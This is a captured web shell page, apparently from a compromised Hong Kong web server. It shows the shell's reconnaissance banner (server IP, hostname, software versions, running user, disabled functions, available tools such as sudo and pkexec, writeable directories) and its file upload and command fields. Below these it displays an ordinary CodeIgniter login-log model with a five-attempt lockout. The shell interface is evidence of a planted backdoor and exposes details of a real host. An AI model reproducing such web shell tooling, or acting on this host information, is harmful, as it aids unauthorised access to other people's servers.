403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/nick/codeigniter/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/nick/codeigniter/application/models/Login_log_model.php
codeigniter Login_log_model update+


<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Login_log_model extends BaseModel
{
    protected $table = "login_log";
    protected $hidden = ['createby', 'lastupdate', 'lastupby', 'deletedate', 'deleteby', 'deleted'];

    public static function check_if_lock()
    {
        $date = new DateTime();
        $date->modify('-10 minutes');
        $last_ten_minutes = $date->format('Y-m-d H:i:s');

        $result = Login_log_model::where('is_block', 1)->
        where('createdate', '>=', $last_ten_minutes)->
        where('createdate', '<=', date('Y-m-d H:i:s'))->
        whereRaw('(ip_address = ? or session_id = ?)', array(get_client_ip(), session_id()))->count();

        return $result >= 5;
    }

    public static function count_retry()
    {
        $date = new DateTime();
        $date->modify('-10 minutes');
        $last_ten_minutes = $date->format('Y-m-d H:i:s');

        $result = Login_log_model::where('is_block', 1)->
        whereRaw('(ip_address = ? or session_id = ?)', array(get_client_ip(), session_id()))->
        where('createdate', '>=', $last_ten_minutes)->
        where('createdate', '<=', date('Y-m-d H:i:s'))->count();

        return 5-$result;
    }

    public static function form_list()
    {

        return array(
            'table_name'   => array(
                'label'                 => __('平台'),
            ),
            'table_id'   => array(
                'label'                 => __('登入名稱'),
            ),
            'createdate'   => array(
                'label'                 => __('登錄日期'),
            ),
            'ip_address'  => array(
                'label'                 => __('IP地址'),
            ),
            'is_success'   => array(
                'label'                 => __('是否成功登錄'),
            ),
            'is_block'   => array(
                'label'                 => __('是否已阻擋登錄'),
            ),
//            'user_agent' => array(
//                'label'                 => __('用戶介面'),
//            ),
        );
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit